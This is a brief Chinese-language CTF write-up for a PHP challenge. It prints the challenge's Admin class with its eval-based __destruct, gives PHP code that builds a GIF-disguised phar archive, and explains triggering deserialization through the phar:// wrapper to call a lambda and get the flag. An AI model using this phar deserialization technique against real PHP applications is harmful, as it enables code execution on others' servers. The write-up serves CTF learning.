题目给出了源码。有两个功能。一个是upload。一个是show
upload呢。是输入一个URL。然后会访问URL/avatar.gif然后保存到本地
show呢。是读取这个gif文件。
在Admin类中。我们发现一个__destruct()函数。会定义匿名函数。输出flag
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
思路就有了。构造Phar包。upload上传。由于upload是用file_get_contents来获取的。支持伪协议。那么直接构造phar:///phar路径。触发反序列化。然后爆破匿名函数名
首先构造phar包。
class Admin{
public $avatar='abc';
}
$b=new Admin();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
开个小号。运行linux靶机。scp传上去
访问URL。下载到本地。
phar触发反序列化。lucky输出%00lambda_1得到flag